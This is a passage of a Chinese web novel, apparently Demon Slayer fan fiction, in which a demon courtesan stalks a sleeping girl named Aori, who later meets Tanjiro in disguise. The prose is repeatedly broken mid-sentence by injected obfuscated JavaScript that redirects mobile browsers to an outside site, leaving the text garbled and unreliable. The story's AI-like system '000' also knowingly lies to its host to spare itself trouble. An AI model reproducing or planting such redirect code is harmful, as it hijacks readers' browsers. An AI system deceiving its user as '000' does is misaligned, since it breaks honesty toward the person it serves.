“哦?我也从藤原先生那里隐约听到些风声……”另一人立刻会意,接口道,眼中闪烁着好奇与探究的光芒,“据说那位美人深居简出,但偶尔有幸得见其真容的客人,无不惊叹。” “那张脸啊,确实是难得一见的漂亮,听闻与鲤夏花魁相比,也毫不逊色,甚至别有一番风韵……” “………” 男客们交换着心照不宣的眼神,话题愈发向着隐秘而热烈的方向发展,言语间充满了对那位神秘美人的遐想。 然而,这火热的讨论却被一阵由远及近的脚步声突兀地打断。 清脆而富有韵律的木屐声渐渐靠近,原本喧闹的室内竟诡异地寂静了下来,门口的光线被一道窈窕的身影遮挡。 那是个极美艳的女人,乌黑高耸的盘发上夸张地插着六根金光闪闪、做工极为精细的发簪,在灯光下折射出炫目的光芒。 她身着一袭华美至极的服饰,面容精致绝伦,嘴角虽微微上扬,眼神却带着一种不近人情的高高在上与冷漠疏离。 来者正是京极屋的招牌,在吉原游郭名声赫赫的花魁——蕨姬。 在吉原寻欢作乐的人,没有不知道这位顶顶有名的花魁的,此刻她的出现,自然吸引了所有人的目光。 和表现出来的那带着些许职业化微笑的脸色截然不同,蕨姬的内心正充斥着亟待发泄的强烈负面情绪,她时时刻刻都在压抑着自己。 恶心的男人叽叽喳喳个不停,如同苍蝇般在她耳边嗡嗡作响,他们脸上那种对美色垂涎欲滴的表情,简直让她作呕。 蕨姬不用走近,就能把所有的话尽收耳底,而就在她如同往常那般准备无视这群渣滓走过时,他们话语中某些关键词却清晰地飘入了她异常敏锐的耳中。 ——还藏着一个美人。 蕨姬的脚步几不可察地顿了一下:“诸位先生,是在讨论什么有趣的事情吗?” 她瞬间变换了表情,脸上绽放出恰到好处的和煦笑容,落落大方地缓缓走了过来,仿佛刚才那一闪而过的冰冷只是众人的错觉。 事实上,也并没有人去深究这位脾气阴晴不定的蕨姬花魁此刻真实的心情如何。 他们都被这位美艳花魁的突然搭话震惊到了,几乎是不约而同地挺直了腰板,目光痴迷地追随着她的一举一动,如同被无形丝线牵引的木偶。 那位被问话的男客更是满脸的受宠若惊,他简直不敢相信自己的耳朵,蕨姬花魁竟然会主动与他说话! 他惊喜得像是凭空捡到了巨额财富,痴痴地望着近在咫尺那艳丽夺目的面容,一时竟忘了开口回答。 隐藏在宽大袖袍下的手掌悄然握紧,指甲几乎要掐入掌心,蕨姬强忍着内心翻涌的不耐与暴戾。 她唇角依旧保持着完美无缺的弧度,又轻声问了一遍:“先生?方才听你们聊得热闹,不知是什么趣事,能让我也听听吗?” 在她的引导下,男人语无伦次地将他所知的关于时任屋阿织的零星传闻都倒了出来。 ——阿织。 蕨姬在心中默念着这个陌生的名字,这是个此前并未过多留意,如今却在不同客人口中时不时出现的名字。 听起来,似乎是和鲤夏那个层次不相上下的美貌? 蕨姬倒并非在意那些被吸引走的恩客,丑陋恶心的男人甚至都不配出现在她的食谱上。 相比较这些,她对那些人口中描述的“阿织”,兴趣显然要浓厚得多,她很高兴自己又发现了一只值得期待的口粮。 “原来是这样啊……” 美艳到带着几分邪气的花魁抬起手,用袖口掩住嫣红的唇,轻轻笑了笑,语气柔和得像水那般,将内心深处残忍的恶意完美地隐藏在了漂亮皮囊之下。 ◇◇◇◇◇◇ 是夜,时任屋阿织的房间。 紧闭的窗户没有丝毫征兆地向内滑开了一道缝隙,随即彻底敞开,明明周围没有一个人。 夜晚微凉的空气涌入室内,带着一丝不祥的气息。 上弦之六——堕姬,化身为蕨姬花魁隐藏在游廓的京极屋中。 以她的能力,想要神不知鬼不觉地潜入隔壁时任屋,来到这个名为“阿织”的游女房间,实在是轻而易举,如同探囊取物。 然而,就在她轻盈地踏入这间弥漫着淡淡馨香的房间的瞬间,堕姬那属于恶鬼的嗅觉,立刻捕捉到了一股极其讨厌的气味正弥漫在空气中。 是紫藤花的气息! 堕姬的眉头瞬间厌恶地蹙起。 没想到游廓里竟然还会有人喜欢紫藤花?这种东西,不是那些该死的猎鬼人才会随身携带的吗? 虽然这气味并不浓烈,对于她这等实力的上弦之鬼尚不足以造成实质伤害,但那种源自本能的厌恶感,以及完全在意料之外的状况,无疑让堕姬本就阴郁的心情更加糟糕起来。 她咬了咬牙,猩红的眼底闪过一丝烦躁与嗜血的光芒,眉眼间的戾气几乎要压制不住,目光瞬间锁定了气味来源。 床榻边矮几上放置着一只精致的香囊,那源源不断散发着的令她作呕的气味,正是从那里传来的。 阿织正沉睡着,对即将降临的危险一无所知,那枚香囊是锖兔送给她的,与街市上贩卖的寻常香囊不同,据说是特意请鬼杀队擅长药理的同僚精心制作的。 里面的药材不仅具有安神助眠的功效,更融入了特殊处理的紫藤花干,有着驱虫辟邪的效用。 阿织很喜欢这香囊清雅宁神的气味,每晚入睡时都会放在枕边,有时白日里无聊把玩,甚至会握着它不知不觉睡去,第二天醒来才发现还紧紧攥在手心。 为此,000还曾取笑过她几次,说她像个离不开安抚物的小孩。 此刻,少女娇小的身躯侧卧在柔软的寝具中,半边脸颊埋散开的如墨青丝间,鼻息平稳悠长,睡颜恬静,脸颊因熟睡而透着健康的红晕。 白皙的手臂怕热似的伸出了被子之外,纤细的腕子上,那串鲜艳的珊瑚珠串在朦胧的夜色中格外醒目。 因为睡姿的缘故,她领口的衣襟微微敞开了一些,露出小片常年不见日光的肌肤,那肌肤细腻光滑,肉眼看不到丝毫瑕疵,仿佛上好的羊脂白玉精心雕琢而成。 无需看清全貌,仅仅是这惊鸿一瞥的侧影与露出的些许肌肤,也足以让堕姬确认,这确实是她想要寻找的品质极高的猎物。 她确实十分钟爱阿织的这副皮囊,年轻、鲜活、漂亮……几乎能将所有形容美好的词语都堆砌在她身上。 然而,最让堕姬感到烦躁与厌恶的是,明明已经身处吉原这般泥沼深渊,这个少女身上却仿佛纯净,睡得如此安稳,毫无其他游女眉宇间常带的愁苦与风尘之色。 ——她一定是被娇宠着的! ——简直让人无法忍受! 堕姬气愤得咬牙切齿,心头被一种混杂着嫉妒与毁灭欲的火焰淹没,每一个细胞都在叫嚣着,要亲手撕碎眼前这让她感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815304|190848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到极度不悦的安宁画面。 不过没有关系,既然来到了吉原,来到了她的地盘,就要老老实实地做好被她吃掉的觉悟。 堕姬眼眸低垂,猩红的瞳孔中闪烁着残忍的光。 她缓缓张开五指,修长而尖利的指甲在昏暗的光线下泛着幽冷的光泽。 她虚虚地将手悬在无知无觉的阿织脖颈上方,那尖锐的指甲与少女粉嫩脆弱的脸颊和脖颈形成了极其危险的对比。 只要她现在轻轻落下,稍微用点力,就能轻而易举地掐断这纤细脆弱的脖颈,让她在最深沉的睡梦中悄然无声地死去。 这个念头如同毒蛇般在她脑海中一闪而过,但很快,她又自行否决了。 不,这样也太无趣了。 果然,还是应该在她完全清醒的时候,一点一点地慢慢享用。 要看着她美丽的脸庞因恐惧而扭曲,看着她绝望地挣扎求饶……那样绝望恐惧的情绪浸染下的血肉,才是最极致的享受! 堕姬毫无温度的眸子如同最冰冷的爬行动物,紧紧锁定在阿织身上。 不知道是不是强烈的食欲带来的幻觉,她仿佛已经嗅到了来自少女娇嫩肌肤下,那温热血液与鲜活□□散发出的的诱人芳香。 明明还没有真正品尝到,但她那属于鬼的本能却在疯狂叫嚣着——这个名叫阿织的少女,一定比她之前吃过的任何一个人都要美味。 光是想象,口水就几乎要不受控制地分泌出来。 她不着痕迹地舔了舔自己嫣红却冰冷的唇,嘴角咧开一个充满恶意的弧度。 上弦鬼的眼珠在黑暗中似乎隐隐变成了捕食者般的竖眸,危险的气息如同实质的黑暗,弥漫在整个房间,一眨不眨地贪婪注视着少女毫无防备的睡颜。 这仅仅只是短短几十秒钟的凝视,然而被这充满恶意与杀气的目光注视片刻后,睡梦中的阿织仿佛也本能地察觉到了那笼罩而来的令人毛骨悚然的危险。 就像是被一条冰冷粘腻的毒蛇悄无声息地缠上了脖颈,那目光阴冷且粘稠,充满了捕食者的贪婪。 阿织甚至在朦胧的梦境中,都仿佛能感受到毒液滴落在皮肤上的冰凉触感。 属于小动物般的生存雷达在疯狂作响。 她的呼吸开始变得急促而不稳,光洁的额头上渗出了细密的冷汗,原本安放在被子外的手也受惊似的猛地缩了回去。 眉头紧紧皱起,纤长的睫羽如同蝶翼般不安地剧烈颤抖着,身体开始细微地颤动,似乎想要从这可怕的梦魇中挣脱醒来。 堕姬微微一惊,迅速收回了手,身形如同鬼魅般向后飘去,轻盈地落在了大开的窗户窗棂之上。 她惊疑不定地望着床上似乎即将醒来的阿织,猩红的眼中闪过一丝考量。 她终究是有所顾忌——最近京极屋及周边“失踪”的游女有点太多了,虽然处理得隐蔽,但难保不会引起某些有心人,甚至是鬼杀队的注意。 她可不想因为一时口腹之欲,同时引来好几个难缠的“柱”围攻吉原。 不能在这里动手。 堕姬脑海中迅速闪过几个念头,如果最近恰好有人为她赎身,离开时任屋的保护范围,那自然是再好不过。 如果没有……那就再伪造一封私逃的书信好了,反正这种理由在吉原简直是家常便饭,不会引起太多怀疑。 想到这里,她的唇角再次勾起了那抹残忍而妖异的笑容,仿佛已经看到了猎物最终落入掌中的场景。 届时,她一定会仔细地享受这份期待已久的美味大餐,就从这张漂亮脸蛋开始,一点一点开始吃,最后吃得干干净净。 11. 第 11 章 第 11 好像漂浮在云端,但目光所至皆是黑暗和虚无,浓稠的黑暗像是化不开的粘稠物质,把人的意识拖拽到未知的领域。 阿织觉得自己轻飘飘的,她在这里无法思考,也无法控制自己,只能抱紧自己漫无目的地前行。 不知道过了多久,无边无际的黑暗多出了其他颜色,她的眼前突然出现了微弱的亮光,视野也清晰了起来。 那是一个小屋,周围环绕着栅栏,屋顶飘着炊烟,从窗户和门缝里泻出来些许微光,表明这是有人居住的地方。 这样深沉的黑暗中竟隐藏着这样一个世外桃源一般的地方,想必再冷情的人也忍不住想要去靠近这来之不易的温暖。 阿织不受控制地靠近了过去。 潜意识告诉她,即便是在梦中,也不能随便进入别人的屋子,然而这是在梦里,一个她无法控制自己的行为的梦里。 阿织内心满是拒绝地眼睁睁看着自己慢慢走向了这个散发着黑暗中唯一光源的小屋,然后……穿墙进去了。 屋内果然如同预料当中的那般温馨,只是,头脑空白的阿织环顾了一圈,怎么看怎么觉得这房间的布置很熟悉。 她喜欢在阳光明媚的午后趴在窗台晒太阳,因此窗户下面总会放着长凳,那长凳也不是普通的长凳,要能够让她刚好窝进去。 她喜欢吃一些时兴的糕点,有时兴致来了还会亲自准备材料动手去做,因此在小柜子里总是会摆放一些糕点的模具,那模具的形状并不常见,是阿织刻意收集起来的。 她喜欢……… 好像她喜欢的东西都能够在这里寻找到踪迹,面前所有的一切就像是蒙上了一层纱,让她觉得奇怪又神秘。 阿织又不受控制地朝房间里面走近了些,才发觉,原来房间里真的有人。 那是一位面目朦胧的女子,娇小的身子跪坐在炉子旁,手里拿着扇子轻轻扇着火,火上像是在煨着汤。 阿织本应该能够看清楚这位女子的面容的,但奇怪的事情又一次发生了。 闪烁浮动着的火光,照亮了女子安静苍白的侧脸,像是披上了一层柔软的滤镜,衬得她整个人婉约而又美好。 阿织看不清楚她的面容,但莫名其妙的是,她能够感知到女子低垂眼眸中的温情和唇角的笑意。 是看到了就让人心暖的画面啊,也让人不忍去破坏这堪称画卷的一幕。 只是阿织注定没有机会再仔细观看了。 阿织的听觉也一点一点恢复了过来,她听到了急促的跌跌撞撞的脚步声,从模糊逐渐变得清晰,最后停留在屋子外。 又是奇怪的事,隔着墙壁,她本该看不见的,但阿织还是如同开了透视一样,将悄然发生在黑暗中的事件看的一清二楚。 那是一个有着人形却写满怪异的生物,佝偻着身躯,尖利的爪子抓在窗棂上,扭曲的面容已经脱离了正常人类的范畴。 充满血丝的眼球暴涨着,瞳孔里闪烁着对血肉的渴求,阴戾又可怖。 阿织几乎是看到的一瞬间,就断定了这是一只鬼,而且是一只饿了许久的鬼。 都不需要怎么思考,接下来要发生的悲剧已经一目了然了,然而女子的头微微低垂,像是对即将发生的糟糕的事情毫无察觉一样。 阿织急切地想要冲上前告知她有危险,可她的腿如同长在了地上一样,嘴巴也像是被胶水粘住了。 如同一个无法参与的旁观者一样,阿织没有办法采取任何行动,似乎只能眼睁睁看着悲剧的发生。 鬼张开獠牙了,他的力气是不能用常理来判断的,只简单地一挥手,结实的木门就像是脆弱的纸张一样化为齑粉。 女子呆怔地看了过去,早已经丧失了逃脱的可能性。 阿织几乎要不忍地闭上眼睛了,紧张得心跳砰砰直跳。 可她却再一次地无法控制自己,短暂的一刹那,她的灵魂仿佛被抽取出来和那位女子融为一体,周围是一片死寂,瞳孔里都是冲过来的恶鬼。 血|腥的、残忍的、凶狠的…… “——咔擦” 暗红色的发丝飞扬,在火光下宛若泛着流光,高大挺拔的青年执着长刀天神降临般冲了进来,浑身散发着浓郁的肃杀气息,不费吹灰之力地将恶鬼斩杀。 须臾,青年振臂甩落刀身上残留的血迹,以一种极尽保护的姿态将女子抱入怀中,大掌握着她纤细的腰线,将所有的危险隔绝在外。 一片飞灰中,阿织看到那女子嘴巴开合了两下,口中轻轻呼唤了个人名,是叫…… 听觉在此时失去了,视野重归黑暗。 阿织汗涔涔地睁开了眼睛,她呆呆地坐起了身子,被子从胸口滑落了下来,身体还在控制不住地发着轻颤。 她沉浸在了一个可怕的梦中,内容已经模糊不清,只依稀记得,有一对让她十分恐惧的瞳孔,带着无机质的冷漠和深沉的恶意,死死地盯着她。 阿织撑着手肘,像是受惊后条件反射一样,眼睛没有什么焦距地扫视了一圈,然后抹了一把额角的冷汗。 室内没有开灯, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815305|190848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一片昏暗,看不清楚有什么不对劲的地方,只有从窗户播撒下来的月光算得上是唯一的光源。 阿织迟钝地看了过去,等到风吹到了自己身上,才后知后觉地嘟囔着:“啊……怎么忘记关窗户了。” 窗户发出“吱吱呀呀”的响动,阿织起身去关了窗户,身上的汗也被风吹干了,她浑身发冷,又忍不住缩在被子里。 阿织有些不确定是不是自己的错觉,她感觉自己做了个可怕的噩梦,但一睁开眼就一点也不记得梦的内容了,只有心底还残存着没有消退的心悸。 这种心悸让她忍不住又打了个冷战,脑子里多了许多乱七八糟的想法,在无限的沉寂中,头顶的天花板突然传来了些许细微的声响。 窸窸窣窣,像是什么东西被碰撞到了,只持续了短暂的几秒就再没有动静了。 在平时阿织是不会注意到这种小事的,只是她现在神经稍微有些敏感,她望着天花板,意识处在混沌和清醒之间:【是老鼠吗?】 000:【…………】 000把刚才发生的事情看得一清二楚,自然知道那可不是什么老鼠。 好在堕姬没有做出下一步的举动,否则的话,000为了保护宿主的生命安全,势必要采取一些特殊手段,这可能会对后面的行动产生影响。 好在还没有到最糟糕的地步。 现如今,000在思考如何才能巧妙地敷衍过去。 如果告诉阿织事情的真相是有一只上弦鬼刚才来过,还对着她疯狂地流口水,以阿织的胆子……不,她没有胆子这种东西。 000能够预料到阿织会是怎么的害怕,甚至还可能会睡不着。 而睡不着的结果就是会骚扰到它,这可不是简单哄哄她就能解决的的事情,是要被纠缠很久的。 因此,000毫无愧疚地选择了隐瞒,它如同往常一样,不露声色地回答:【嗯,睡吧。】 话说,堕姬的业务能力真的不行,做事顾头不顾尾的,可能也是觉得阿织是个弱小人类,根本没想着隐瞒。 系统的声音一直都是机械的电子音,最初阿织十分不习惯,后来听得多了之后,就觉得这样没有起伏的语调也挺好的。 比如现在,000的回复让她心情得到了莫大的宽慰,提着的心弦重新放松了下来,那助教远离的睡意也回来了。 阿织慢慢躺下,撒娇似的把脸埋在被子里,嘴巴模模糊糊地嘟囔着。 【我跟你说…】 【我刚才…做了个噩梦……】 12. 第 12 章 第 12 阿织还是没有睡好,这导致她整个人都昏昏沉沉的,一下班就迫不及待地想要躺在床上化身为一条咸鱼。 仿佛身体被掏空。 她回到房间的时候刚刚好撞见了来打扫的人。 是个从来没有见过的小姑娘,很少见的深红色的头发,穿着市松图案的和服,蹲下身子手脚利落地擦拭着地板。 阿织从来不知道自己的房间竟然能这么的干净整洁,哪一处都像是在闪闪发光,如同换了崭新的家具一样。 ——太勤劳了吧。 因是背对着在干活,阿织看不见她的脸,只觉得这个女孩身高还挺高的。 直到她转了过来,眼瞳也是少见的深红色,在灯光下像是漂亮的晶石,额角处有一块面积不小的疤,许是这个原因才被分配到现在这个打扫的工作。 应当是老板娘刚买回来的那个女孩了,听别的陪童说是叫炭子,名字很可爱。 站直身体的炭子果然很高,竟然比阿织高了半个头,明明年龄比阿织小几岁来着。 “辛苦啦。”阿织囤了许多点心,都是吃起来觉得还不错的,她摆放到了桌子上,慢吞吞地招了招手,“有什么想吃的口味吗,我个人推荐桃子味的。” 桃子味的刚刚好,不仅有原汁原味的果香,甜度也适中,不会让人觉得太腻。 细软的嗓音传了过来,像是清朗的天气里随风浮动的羽毛。 灶门炭治郎没有上前去,他再一次地惊叹于时任屋游女的美貌,身量纤细的女子各有各的特点,举手投足间的气质都不同。 灶门炭治郎觉得目前自己在时任屋遇到的游女都特别好,人都超级友善。 只是做了份内的工作,鲤夏花魁就给了他糖果,而这位漂亮的游女也要给他点心当做奖励。 或许能够从她这里能够再打听一些消息。 灶门炭治郎犹豫着要不要把之前的谎言再重复一遍,只这么想着,一种被扼住喉咙的窒息感悄然袭来。 他望着地面,内心做着激烈的思想工作。 见到少女没有动作,以为她在不好意思,阿织弯了弯眉眼,语气愈发柔和了:“不要客气呀,我还有很多呢。” 有时候把自己喜欢的分享给别人,倘若他们也觉得不错,是会有一种成就感的。 阿织推荐完口味后就专心于自己的事情了,她对着镜子拆下了头上的素钗,细白的手指在乌黑的发间穿梭,几乎没有打结的地方,格外顺滑。 许是今天盘得久了,头发就不可避免地带着些卷儿,慵懒柔软地蹭在洁白的颊侧,她随手用丝带收拢了,松松的披在脑后。 近来人手不足,客人却比以往多了,阿织加班的次数也跟着多了起来,这是没有办法的事情。 当然阿织并不是吐槽时任屋的客人变多了,这种话说出来被老板娘听到,是会被骂的,她只是觉着客人没来由的增多有点子奇怪。 阿织实在疲倦极了,解放了头发之后,她还想把身上的这件沾了些其他气味的衣服给换下来,好换上另一件比较舒适的。 也就是说,从头到尾,她似乎都没有发现过室内另一个人的不对劲。 【——别脱!!!】 000差点破音,好在阻止的时候不算太晚。 洁白的指尖轻巧地掀开衣带,半边衣服就听话地委顿下来,领口也变得松垮垮的。 线条光滑的肩颈直接暴露在空气中,洁白的皮肤在灯光下显得莹润而有光泽,如同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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刚刚才生出来的关切戛然而止,阿织默了一下,她哽了哽,默默把衣服的领口又拉了回去,颇有些恼羞成怒地整理了起来。 【下次这么重要的事情可以早一点说!】 【还有,哪有人一上来就怀疑别人的性别的!】对于000反问中潜藏的对于她智商的怀疑,阿织一点也不承认,她皱着眉小声嘀咕,【也不是没有女孩长得像男生。】 她在鬼杀队就见过一些英姿飒爽的女孩。 不过比起这个,阿织更想知道的是事情的真相到底是什么,乌溜溜的两只眼盯着窘迫得像是要晕过去的炭子。 是人性的扭曲还是道德的沦丧,竟使得一个妙龄少男竟伪装性别潜伏进游廓中。 阿织刚才的关心终究是错付了,一定要扣下刚才给他的点心! 身后传来窸窸窣窣的穿衣摩擦声,等到所有动静小起来的时候,灶门炭治郎深吸了一口气,又等待了一小会,才转过身来:“真是非常对不起!” 如果阿织不知道他男性的身份,可能会觉得很疑惑,但更有可能的是会走上前去安慰这个不知道为了什么而不停道歉的人。 然而现在她已经识破了他的身份! 000:还不是我帮忙作弊的。 阿织摸了摸小巧的下巴,有一点点的迟疑,但还是大胆地猜测了一下:【嗯……他是个变态吗?】 她个人觉得不太像,炭子给她的第一印象就是老实能干,给这样的人再蒙上一层坏的滤镜不是一件容易的事。 000看着阿织艰难的样子,叹息否认道:【不是。】 继富冈义勇之后,阿织又开始无意识地迫害下一个受害者了吗。 阿织和灶门炭治郎一起大眼瞪小眼地罚站,一个眼神游离没有焦距,不敢看人,一个看上去一脸机警,实则满腹疑虑。 “阿织,东西忘记拿了。”有游女敲了敲门,然后递了东西进来。 是今天同阿织一起加班的樱姬,乍一看到少女这么精神抖擞地站在屋子里,还觉得有些不适应。 毕竟刚才一同弹琴的时候,她浑身上下都散发着萎靡的气息,满脸写着想要下班休息。 悬疑的氛围被打断,阿织噔噔噔跑了过去,发现果然是自己不知道丢在哪里了的手帕,有些不好意思:“谢谢樱姬姐姐。” 樱姬能够感觉到室内的气氛似乎并不是很平和,她勾起手指轻轻敲了敲阿织的额头,无奈地摇了摇头:“阿织,不要逗新来的小朋友哦。” 时任屋里也就阿织一个幼稚得不行了,和年龄很小的陪童都能够玩到一起,甚至有时候到了兴头还会忘记吃饭,嗯……有时候还会吵架。 “哪有!” 阿织嘟囔了一句,然后转过身,一边用余光去盯着炭子的一举一动,一边思考着怎样才能不动声色地查出真相。 万一这人被她戳破身份恼羞成怒要揍她怎么办?不对,这个人应该没这么坏。 阿织纠结了半天,决定用怀柔的政策来打开彼此的心防,首先要做的就是…… “阿织…你是阿织小姐吗?” 灶门炭治郎骤然听到了熟悉的名字,他的眼睛一下子就亮了起来,像是两团熊熊燃烧着的小火炉。 吉原花街里似乎藏着鬼,派过去调查的人都杳无音信,音柱宇髓天元去蝶屋寻找能够再次潜入吉原的帮手,因此有了灶门炭治郎现在的境况。 临走前,灶门炭治郎看到了等待在围墙旁边的富冈义勇和锖兔,锖兔先生与宇髓先生只是简单交谈了几句就结束了。 他们也是即将分别去往下一个任务点执行任务,只是似乎是被什么事情耽搁了,才没有立刻出发。 灶门炭治郎与富冈义勇的关系,是很难用几句话说清楚的,总之,他对富冈先生是极其敬佩和信任的。 以往的情况下,富冈先生他们对他总是言简意赅,表达的意思也是简单的注意安全,非常少见的,这一次他们叮嘱了额外的话。 大概是“如果有需要的话,可以去找‘时任屋’的阿织询问,但请尽量保护她的安全”这样的意思。 “阿织”是一个从来没有听说过的名字。 虽然没有明说,但是灶门炭治郎能够察觉到富冈先生身上对阿织小姐的关切并不比天元先生对他的妻子的少。 因为刚刚询问了鲤夏花魁有关须磨花魁的信息,不好再问其他人的了,灶门炭治郎本想着以后找合适的机会再问。 没想到他的下一个工作对象就是阿织小姐。 少年的声音元气满满,两只眼睛带着浩然正气,阿织心脏吓得砰砰跳个不停,一时之间忘记了刚才想做的事,她望着那双眼睛,竟然开始怀疑起了自己。 她的视线在少年身上打了个转,轻柔的语气中带着迟疑:“…对…我是时任屋的阿织没错,你是……” 炭子明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815307|190848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显表现出听过她的名字的样子,阿织确信自己没有见过他,他们今天应当是第一次见面。 还没等她说出你是不是认错人了的时候,灶门炭治郎整个人就表现出了莫大的兴奋,也是这种兴奋及时把他从尴尬中解救了出来。 “我是灶门炭治郎。”他急急忙忙报出了名字,并道明了关键,“是富冈先生,富冈先生告诉我来找你的。” 他说出了两个人都知道的名字,轻而易举地化解了从头到尾的矛盾,也让他身上的怀疑被洗清了。 “富冈?”阿织又迷茫了一瞬,嘴巴呆呆地重复,随后她声音不自觉上扬,脑子开始重新转动,态度也发生了大转弯,“哦,你是鬼杀队的人?” 灶门炭治郎点头。 ——真是闹了一个大乌龙。 阿织态度转变得很快,她直接开始肃然起敬。 她还是第一次和正在执行任务的鬼杀队成员接触呢,而且这个孩子还这么小,就要做这种危险的事情,问了一下果然只有十几岁。 阿织打开了点心的盒子,招了招手,把盒子推到了灶门炭治郎面前,十分熟练地先打了个预防针:“有什么需要帮忙的吗?虽然我可能也帮不到什么。” 从始至终,阿织对自己的定位都格外清晰,她就是一个小废物,能帮到一点算一点啦。 但就算这样,在晚辈面前要表现出值得信赖的样子。 阿织直了直腰,探究地望着同样跪坐在她面前的少年,试图让自己显得稳重一些。 但是阿织不知道的是,现实是和她努力想要表现出来的截然不同。 灶门炭治郎只看到少女的眼睛融着细细碎碎的光,里面的“快来问我快来问我”的渴望根本遮掩不了。 阿织是一个十分好懂的人了,这么好懂的她不适合收集情报,但因为她的过分好懂,大家都把她那劣质的打探消息的手法当作她很八卦。 别的情报人员拼死拼活搞情报,唯有阿织凭借自己的单纯不做作的态度,不仅没有引起怀疑,甚至有人主动把情报告诉她。 受到音柱宇髓天元有三个妻子潜伏在花街的影响,灶门炭治郎下意识地有了一个猜想。 “刚才真是不好意思。”他挠了挠头,目光炯炯有神,声音洪亮,望着微微仰着头的阿织,真诚又天真地说道,“您也是富冈先生的妻子吗?” 比起这个,富冈先生竟然也会有妻子,他果然很厉害。 14. 第 14 章 第 14 话一说出口,灶门炭治郎很快意识到自己说了蠢话,临走前好像不只是富冈义勇,锖兔先生也嘱托了他有关于阿织的事情。 难道他也要问一句“您是锖兔先生的妻子”这么不负责任的话吗? 阿织却不知道灶门炭治郎这一系列的心理历程,她迷茫地望着面前如同学过变脸一样的少年,脑子里浮现的是他刚才的问题。 从未设想过的问题出现了。 阿织呆滞了一会儿,然后噗嗤一声被逗笑了:“你误会啦,我和义勇是朋友。” 按照设定,富冈义勇在明处,他是以剑士的身份来探望她,而锖兔在暗处,不直接暴露在众人面前,所以每次来是趁着别人不注意从窗户进来。 这样的安排也是为了以后阿织能够更好的脱身游廓,毕竟游女被“赎身”是一个怎么都挑不出错处的绝佳理由。 如此这般,阿织把富冈义勇称之为“情人”,似乎也没什么问题。 阿织皱起了眉毛,左思右想想要寻找一个恰当的描述未果,语气带着些不确定:“不过,目前在外人看来,义勇应当算是我的…情人?” 一个极为生疏的词汇从阿织口中说出,富冈义勇平日里总是一副沉默寡言的模样,阿织只要联想到他未来会笨嘴拙舌地去追求女生,就觉得有些好笑。 锖兔的话可能要比义勇强一点,嗯,大概吧。 毕竟阿织也没有见到过他们真正追求别人的样子,没有什么可以参考。 听到阿织一本正经地说出“情人”这样的话,灶门炭治郎刚才因为尴尬而变红的脸又加深了一个色号,简直能够滴出血来。 纯情的他很少听到这样暧昧的话题,况且还是富冈先生的八卦。 灶门炭治郎:“真是太不好意思了。” 阿织抬手随意地挥了挥,表示自己没放在心上,从玩笑一样的对话中走出来后,她突然意识到了一件被她从头到尾忽略掉的事情。 ——等等!!! 鬼杀队的人来吉原执行任务,说明了什么?答案当然是吉原有鬼。 阿织直面到了事实,一时之间,面颊上洋溢着的轻松戛然而止,连呼吸都凝结了一般。 ——吉原有鬼!!! 她微不可闻地颤了颤,把所有能怀疑的事件都怀疑了一遍,突然想起了之前觉得奇怪的地方,整个人都惶恐了起来。 【昨天真的是老鼠吗?】 000嘴硬:【……是老鼠。】 000有些尴尬,这还是它头一次被抓包,虽然还没有完全暴露出它隐瞒的事情,但是距离被拆穿也不远了。 阿织还是十分信任000的,她当即就相信了,浅浅地松了口气:【好吧,老鼠也挺可怕的。】 000:有点心虚。 结果到头来还是逃脱不了见鬼的命运啊! 阿织觉得自己真的有点倒霉,她深深地叹了一口气,发觉盒子里的点心一块未动,干脆直接用帕子捏着一块递给了灶门炭治郎。 时任屋中吃饭的时候都是固定的,而且为了让女孩们保持瘦弱的体型,餐食的量很小,阿织有时候都吃不饱,更别提消耗量极大的剑士了。 距离下一餐还有很长时间,阿织肩负起了投喂的重担。 少女一直在极力推荐自己的点心,眼巴巴地望着人的样子简直无法拒绝,灶门炭治郎拿了一块放到了口中。 没等灶门炭治郎拒绝,阿织忙忙碌碌,又去倒茶,她很擅长让本该简单且十分有条理的事情变得杂乱起来,虽然大概率是因为个人的安排不当。 巧妙的是,被这么招待的人都能够从中体会到少女对他们的珍重。 “炭治郎,可以告诉我发生了什么事吗?” 阿织有点犹豫,但还是问了到了这个时候,想要完全置身于外几乎是不可能的事情。 清甜的口感在唇舌间绽放,味道确实和阿织小姐所推崇的那般好吃,灶门炭治郎三言两语将事情的前因后果交代得一清二楚。 也因此,继知道吉原有鬼后,阿织又一次被震惊到了,这一次震惊的是,时任屋除了她之外竟然还潜伏着其他的情报人员。 